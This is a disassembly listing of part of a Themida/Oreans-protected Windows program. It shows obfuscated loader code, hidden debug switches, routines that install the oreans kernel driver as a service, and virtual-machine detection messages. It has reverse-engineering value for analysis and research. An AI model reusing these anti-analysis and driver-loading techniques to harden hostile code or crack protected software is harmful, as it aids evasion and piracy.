		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5B12C8:				; CODE XREF: Themida_:005B12A7j
		mov	byte ptr [ebp+7E42C2Dh], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E43BDCh]
		call	eax
		push	ebx
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_5B12E6:				; CODE XREF: Themida_:loc_5B11F2j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5B12FD
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5B12FD:				; CODE XREF: Themida_:005B12F6j
		jmp	loc_5B4AD2
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h
		db 73h,	52h
a2vsr3vsr	db '2vsR3vsR',0         ; DATA XREF: Themida_:0058249Co
		align 4
		dd 9C2h	dup(0)
		db 2 dup(0)
word_5B4A5E	dw 0			; CODE XREF: Themida_:005B4AD9j
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B4AD2:				; CODE XREF: Themida_:loc_5B12FDj
		call	sub_5B4AEB
		inc	edx
		push	ds
		jno	short near ptr word_5B4A5E
; ---------------------------------------------------------------------------
		db 0DBh
; ---------------------------------------------------------------------------
		mov	ds:54D1D316h, eax
		inc	ebp
		enter	6F5Ch, 0F5h
		xor	eax, 2025D009h

; =============== S U B	R O U T	I N E =======================================



sub_5B4AEB	proc near		; CODE XREF: Themida_:loc_5B4AD2p
		and	dx, 8FF5h
		pop	ecx
		mov	esi, 68AC3A33h
		add	ecx, 6402h
		mov	si, 438Ch
		sub	eax, eax
		mov	dh, 0


loc_5B4B04:				; CODE XREF: Themida_:005B4B5Ej
		push	dword ptr [eax+ecx]
		adc	dl, 3Fh
		pop	edi
		call	near ptr loc_5B4B18+1
		dec	edx
		xchg	eax, edx
		cmp	al, 5
		fsub	st, st(2)
		jnb	short near ptr loc_5B4B2B+5


loc_5B4B18:				; CODE XREF: sub_5B4AEB+20p
		mov	byte ptr [ebx-387EA50Fh], 32h
sub_5B4AEB	endp ; sp-analysis failed

		imul	ebx, [ecx], 81F78B07h
		not	dword ptr [ebp+660B8D1Ah]


loc_5B4B2B:				; CODE XREF: sub_5B4AEB+2Bj
		sbb	ebx, 0F7817398h
		add	eax, 0F959E8DDh
		mov	[ecx+eax], edi
		mov	bx, 29D1h
		add	dx, 0DC1Ch
		sub	eax, 2
		jmp	loc_5B4B52
; ---------------------------------------------------------------------------
		retf	3B65h
; ---------------------------------------------------------------------------
		db 0B0h, 4Bh, 0D7h
		db 0F2h, 2
; ---------------------------------------------------------------------------


loc_5B4B52:				; CODE XREF: Themida_:005B4B45j
		dec	eax
		dec	eax
		mov	si, 6CA5h
		cmp	eax, 0FFFF9CB0h
		jnz	loc_5B4B04
		call	sub_5B4B7B


loc_5B4B69:				; DATA XREF: Themida_:005826D0o
					; Themida_:00582C4Co ...
		xor	cl, dl
		out	dx, al
		fadd	dword ptr [ebp+3DF8319Dh]
		popa
		jmp	far ptr	6570h:0A636EBAFh
; ---------------------------------------------------------------------------
		db 29h

; =============== S U B	R O U T	I N E =======================================



sub_5B4B7B	proc near		; CODE XREF: Themida_:005B4B64p

; FUNCTION CHUNK AT 005B4FA1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005B6076 SIZE 000000E2 BYTES

		push	esi
		jmp	loc_5B4B8B
; ---------------------------------------------------------------------------
		sub	dh, cl
		or	dword ptr [esi+3AFCFF4Ch], 0FFFFFFF0h
		pop	ebx


loc_5B4B8B:				; CODE XREF: sub_5B4B7B+1j
		pop	ebx
		pop	ebx
		jmp	loc_5B4C2B
; ---------------------------------------------------------------------------
		dw 622Fh
aUgcheck2	db 'ugcheck2',0
aBugcheck	db '/bugcheck',0
aForcerun	db '/forcerun',0
aBugcheckfull	db '/bugcheckfull',0
aShowcode	db '/showcode',0
aShowcode2	db '/showcode2',0
aClrt		db '/clrt',0
aDis1		db '/dis1',0
aShowinstance	db '/showinstance',0
aGetwlstatus	db '/getwlstatus',0
aLogstatus	db '/logstatus',0
aDumpstatus	db '/dumpstatus',0
		align 4
		dd 632F0000h, 6B636568h, 746F7270h, 69746365h, 6E6Fh
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B4C2B:				; CODE XREF: sub_5B4B7B+12j
		cmp	dword ptr [ebp+7E72787h], 0
		jz	loc_5B4C42
		mov	dword ptr [ebp+7E40935h], 1


loc_5B4C42:				; CODE XREF: sub_5B4B7B+B7j
		mov	byte ptr [ebp+7E42C2Dh], 47h
		push	0C6DF2DB1h
		xor	dword ptr [esp+0], 56B2413Ch
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E43BDCh]
		call	eax
		call	eax
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	loc_5B4C92
		inc	edi
		mov	al, 22h


loc_5B4C73:				; CODE XREF: sub_5B4B7B+F9j
		scasb
		jnz	loc_5B4C73
		cmp	byte ptr [edi],	0
		jz	loc_5B4FA1
		inc	edi
		cmp	byte ptr [edi],	0
		jz	loc_5B4FA1
		jmp	loc_5B4CB0
; ---------------------------------------------------------------------------


loc_5B4C92:				; CODE XREF: sub_5B4B7B+EFj
					; sub_5B4B7B+130j
		cmp	byte ptr [edi],	0
		jz	loc_5B4FA1
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4CAA
		inc	edi
		jmp	loc_5B4CB0
; ---------------------------------------------------------------------------


loc_5B4CAA:				; CODE XREF: sub_5B4B7B+123j
		inc	edi
		jmp	loc_5B4C92
; ---------------------------------------------------------------------------


loc_5B4CB0:				; CODE XREF: sub_5B4B7B+112j
					; sub_5B4B7B+12Aj ...
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CBE
		jmp	loc_5B4FA1
; ---------------------------------------------------------------------------


loc_5B4CBE:				; CODE XREF: sub_5B4B7B+138j
		jmp	loc_5B4CC4
; ---------------------------------------------------------------------------


loc_5B4CC3:				; CODE XREF: sub_5B4B7B+14Cj
		inc	edi


loc_5B4CC4:				; CODE XREF: sub_5B4B7B:loc_5B4CBEj
		cmp	byte ptr [edi],	20h
		jz	loc_5B4CC3
		cmp	byte ptr [edi],	0
		jnz	loc_5B4CDB
		jmp	loc_5B4FA1
; ---------------------------------------------------------------------------


loc_5B4CDB:				; CODE XREF: sub_5B4B7B+155j
		call	sub_5B4CEA
		jmp	loc_5B4CB0
sub_5B4B7B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_5B4FA1

; =============== S U B	R O U T	I N E =======================================



sub_5B4CEA	proc near		; CODE XREF: sub_5B4B7B:loc_5B4CDBp
		lea	esi, [ebp+7E72707h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4D13
		mov	dword ptr [ebp+7E413F1h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4D13:				; CODE XREF: sub_5B4CEA+18j
		lea	esi, [ebp+7E72712h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4D3C
		mov	dword ptr [ebp+7E40935h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4D3C:				; CODE XREF: sub_5B4CEA+41j
		lea	esi, [ebp+7E7278Bh]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4D65
		mov	dword ptr [ebp+7E41289h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4D65:				; CODE XREF: sub_5B4CEA+6Aj
		lea	esi, [ebp+7E7271Ch]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4D8E
		mov	dword ptr [ebp+7E40935h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4D8E:				; CODE XREF: sub_5B4CEA+93j
		lea	esi, [ebp+7E72726h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4DC1
		mov	dword ptr [ebp+7E40935h], 1
		mov	dword ptr [ebp+7E413F1h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B4DC1:				; CODE XREF: sub_5B4CEA+BCj
		lea	esi, [ebp+7E72734h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4DE9
		mov	dword ptr [ebp+7E42D7Dh], 1


loc_5B4DE9:				; CODE XREF: sub_5B4CEA+EFj
		lea	esi, [ebp+7E7273Eh]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4E11
		mov	dword ptr [ebp+7E42D7Dh], 1


loc_5B4E11:				; CODE XREF: sub_5B4CEA+117j
		lea	esi, [ebp+7E72749h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4E39
		mov	dword ptr [ebp+7E42611h], 1


loc_5B4E39:				; CODE XREF: sub_5B4CEA+13Fj
		lea	esi, [ebp+7E7274Fh]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4E61
		mov	dword ptr [ebp+7E4005Dh], 1


loc_5B4E61:				; CODE XREF: sub_5B4CEA+167j
		lea	esi, [ebp+7E72755h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4E89
		mov	dword ptr [ebp+7E42EE5h], 1


loc_5B4E89:				; CODE XREF: sub_5B4CEA+18Fj
		lea	esi, [ebp+7E72763h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4EB1
		mov	dword ptr [ebp+7E42419h], 1


loc_5B4EB1:				; CODE XREF: sub_5B4CEA+1B7j
		lea	esi, [ebp+7E72770h]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4ED9
		mov	dword ptr [ebp+7E40ECDh], 1


loc_5B4ED9:				; CODE XREF: sub_5B4CEA+1DFj
		lea	esi, [ebp+7E7277Bh]
		call	sub_5B4F1A
		add	edi, [ebp+7E7279Ch]
		cmp	dword ptr [ebp+7E7279Ch], 0
		jz	loc_5B4F01
		mov	dword ptr [ebp+7E41F25h], 1


loc_5B4F01:				; CODE XREF: sub_5B4CEA+207j
		jmp	loc_5B4F07
; ---------------------------------------------------------------------------


loc_5B4F06:				; CODE XREF: sub_5B4CEA+229j
		inc	edi


loc_5B4F07:				; CODE XREF: sub_5B4CEA:loc_5B4F01j
		cmp	byte ptr [edi],	20h
		jz	locret_5B4F19
		cmp	byte ptr [edi],	0
		jnz	loc_5B4F06

locret_5B4F19:				; CODE XREF: sub_5B4CEA+220j
		retn
sub_5B4CEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B4F1A	proc near		; CODE XREF: sub_5B4CEA+6p
					; sub_5B4CEA+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B4F46
; ---------------------------------------------------------------------------


loc_5B4F27:				; CODE XREF: sub_5B4F1A+37j
		cmp	byte ptr [edi],	0
		jnz	loc_5B4F35
		mov	ecx, 0


loc_5B4F35:				; CODE XREF: sub_5B4F1A+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B4F44
		mov	ecx, 0


loc_5B4F44:				; CODE XREF: sub_5B4F1A+1Fj
		inc	esi
		inc	edi


loc_5B4F46:				; CODE XREF: sub_5B4F1A+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B4F57
		or	ecx, ecx
		jnz	loc_5B4F27


loc_5B4F57:				; CODE XREF: sub_5B4F1A+2Fj
		or	ecx, ecx
		jz	loc_5B4F80
		cmp	byte ptr [edi],	0
		jz	loc_5B4F71
		cmp	byte ptr [edi],	20h
		jnz	loc_5B4F7B


loc_5B4F71:				; CODE XREF: sub_5B4F1A+48j
		mov	ecx, 1
		jmp	loc_5B4F80
; ---------------------------------------------------------------------------


loc_5B4F7B:				; CODE XREF: sub_5B4F1A+51j
		mov	ecx, 0


loc_5B4F80:				; CODE XREF: sub_5B4F1A+3Fj
					; sub_5B4F1A+5Cj
		or	ecx, ecx
		jz	loc_5B4F95
		sub	esi, ebx
		mov	[ebp+7E7279Ch],	esi
		jmp	loc_5B4F9F
; ---------------------------------------------------------------------------


loc_5B4F95:				; CODE XREF: sub_5B4F1A+68j
		mov	dword ptr [ebp+7E7279Ch], 0


loc_5B4F9F:				; CODE XREF: sub_5B4F1A+76j
		popa
		retn
sub_5B4F1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B4B7B


loc_5B4FA1:				; CODE XREF: sub_5B4B7B+102j
					; sub_5B4B7B+10Cj ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B4FB8
		mov	dword ptr [ebp+7E42D7Dh], 0


loc_5B4FB8:				; CODE XREF: sub_5B4B7B+42Dj
		mov	ecx, eax
		jmp	loc_5B6076
; END OF FUNCTION CHUNK	FOR sub_5B4B7B
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h
dword_5B5FD0	dd 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
					; DATA XREF: Themida_:005856A4o
		dd 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B4B7B


loc_5B6076:				; CODE XREF: sub_5B4B7B+43Fj
		mov	eax, esp
		mov	dx, di
		mov	[ebp+7E40AB9h],	eax
		mov	edi, [ebp+7E41EC9h]
		mov	eax, eax
		push	esi
		mov	edi, 5CDCE4Eh
		pop	ecx
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B60A2
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B60BB


loc_5B60A2:				; CODE XREF: sub_5B4B7B+151Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B60BB:				; CODE XREF: sub_5B4B7B+1525j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B60DB
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B60DB:				; CODE XREF: sub_5B4B7B+1547j
		cmc
		xor	edi, [ebp+7E43069h]
		mov	eax, eax
		or	[ebp+7E40E4Dh],	eax
		mov	eax, eax
		adc	di, 2C3Eh
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B6103
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B6116


loc_5B6103:				; CODE XREF: sub_5B4B7B+157Dj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7E6E892h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B6116:				; CODE XREF: sub_5B4B7B+1586j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B6130
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+7E6E743h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B6130:				; CODE XREF: sub_5B4B7B+15A2j
		mov	[ebp+7E40011h],	edx
		call	near ptr loc_5B6142+2
		enter	0D85h, 0BAh
		cmc
		xchg	eax, edx
		dec	ebp


loc_5B6142:				; CODE XREF: sub_5B4B7B+15BBp
		sub	bh, ds:199D958Bh
		in	al, 7		; DMA controller, 8237A-5.
					; channel 3 current word count
		pop	edi
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5B6158
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B4B7B

; =============== S U B	R O U T	I N E =======================================



sub_5B6158	proc near		; CODE XREF: sub_5B4B7B+15D5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B6158	endp

; ---------------------------------------------------------------------------
		dd 0FAA90101h, 0C08BF2A1h, 88E0Fh, 8E0F0000h, 2, 11E95F56h
		dd 5000000h, 6B584D48h,	152925ABh, 0B1077759h, 0E13C8EB3h
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501374h
		dd 0B8C08Bh, 8D000000h,	0E6E7C49Dh, 5BD3FF07h, 35BD8358h
		dd 7E409h, 53501174h, 0B8h, 119D8D00h, 0FF07E6E7h, 6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A434C355h, 0F0FA9E3Fh, 53006A9Bh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 7C2C5908h, 8BCDC766h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 42BE833Eh, 2A3A727h, 46BFC08Bh
		dd 835326FEh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 7E6E82Bh, 585BD3FFh, 935BD83h
		dd 740007E4h, 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+7E6E72Ah]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		jb	loc_5B628B
		movzx	edx, cx


loc_5B628B:				; CODE XREF: Themida_:005B6282j
		mov	cx, 0D9BEh
		mov	ecx, [ebp+7E426E5h]
		jz	$+6
		mov	eax, eax
		jg	loc_5B62B1
		jmp	loc_5B62B1
; ---------------------------------------------------------------------------
		dd 0C09C3287h, 0A35F4BB8h
		db 0BAh
; ---------------------------------------------------------------------------


loc_5B62B1:				; CODE XREF: Themida_:005B629Dj
					; Themida_:005B62A3j
		mov	eax, eax
		mov	dx, 4F17h
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B62C9
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B62DC


loc_5B62C9:				; CODE XREF: Themida_:005B62BEj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+7E6E75Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B62DC:				; CODE XREF: Themida_:005B62C7j
		mov	[ebp+7E40661h],	ecx
		mov	dh, ch
		mov	eax, eax
		add	ecx, [ebp+7E42DE1h]
		mov	ecx, [ebp+7E403E1h]
		mov	eax, eax
		jns	loc_5B6302
		push	edx
		xor	ecx, 334E8AD1h
		pop	edi


loc_5B6302:				; CODE XREF: Themida_:005B62F4j
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5B6314
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B632D


loc_5B6314:				; CODE XREF: Themida_:005B6309j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E9F0h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B632D:				; CODE XREF: Themida_:005B6312j
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5B634D
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+7E41479h],	eax
		lea	ebx, [ebp+7E6E6DFh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B634D:				; CODE XREF: Themida_:005B6334j
		xor	[ebp+7E42509h],	eax
		jmp	loc_5B6360
; ---------------------------------------------------------------------------
		dd 0ADEF0D78h, 0DC014Ah
; ---------------------------------------------------------------------------


loc_5B6360:				; CODE XREF: Themida_:005B6353j
		mov	eax, eax
		mov	dh, 80h
		movsx	edx, ax
		mov	byte ptr [ebp+7E42C2Dh], 53h
		mov	[ebp+7E41AA1h],	ecx
		push	99395F90h
		push	0
		push	edx
		call	sub_5B6384
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6384	proc near		; CODE XREF: Themida_:005B637Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B6384	endp

; ---------------------------------------------------------------------------
		shr	byte ptr [ecx-1], 0B5h
		popf
		add	esp, esp
		pop	es
		lea	eax, [ebp+7E43BDCh]
		jmp	loc_5B63B6
; ---------------------------------------------------------------------------
		db 86h
		dd 0A7A37A30h, 210CF12Fh, 0F8B6042h
		db 81h,	0F9h
; ---------------------------------------------------------------------------


loc_5B63B6:				; CODE XREF: Themida_:005B63A2j
		call	eax
		call	near ptr loc_5B63C8+3


loc_5B63BD:				; DATA XREF: Themida_:00582DBCo
		pushf
		mov	cl, 3Ah
		push	ebx
		movsb
		sub	al, 99h
		adc	[edi+10h], ebp
		xchg	eax, ecx


loc_5B63C8:				; CODE XREF: Themida_:005B63B8p
		xor	dh, [esi+6840F6Eh]
; ---------------------------------------------------------------------------
		dw 0
		dd 8A0F00h, 5F000000h, 30618589h, 0BD8907E4h, 7E40931h
		dd 2C2D85C6h, 8B5707E4h, 520668D3h, 6A9004h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F5CA6AC3h
		dd 0B5FFCB8Bh, 7E4019Dh, 38E0Fh, 0B70F0000h, 0DC858DFBh
		dd 907E43Bh, 0E42569B5h, 89D0FF07h, 0E402459Dh,	4D858907h
		dd 6A07E430h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9749C351h, 0A4B251ABh,	0E7872F2Dh
		dd 2C2D85C6h, 804307E4h, 286866D2h, 6ABC9070h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 29CCC351h, 0B58D23CEh, 0FF07E41Ch, 0E4019DB5h, 81665707h
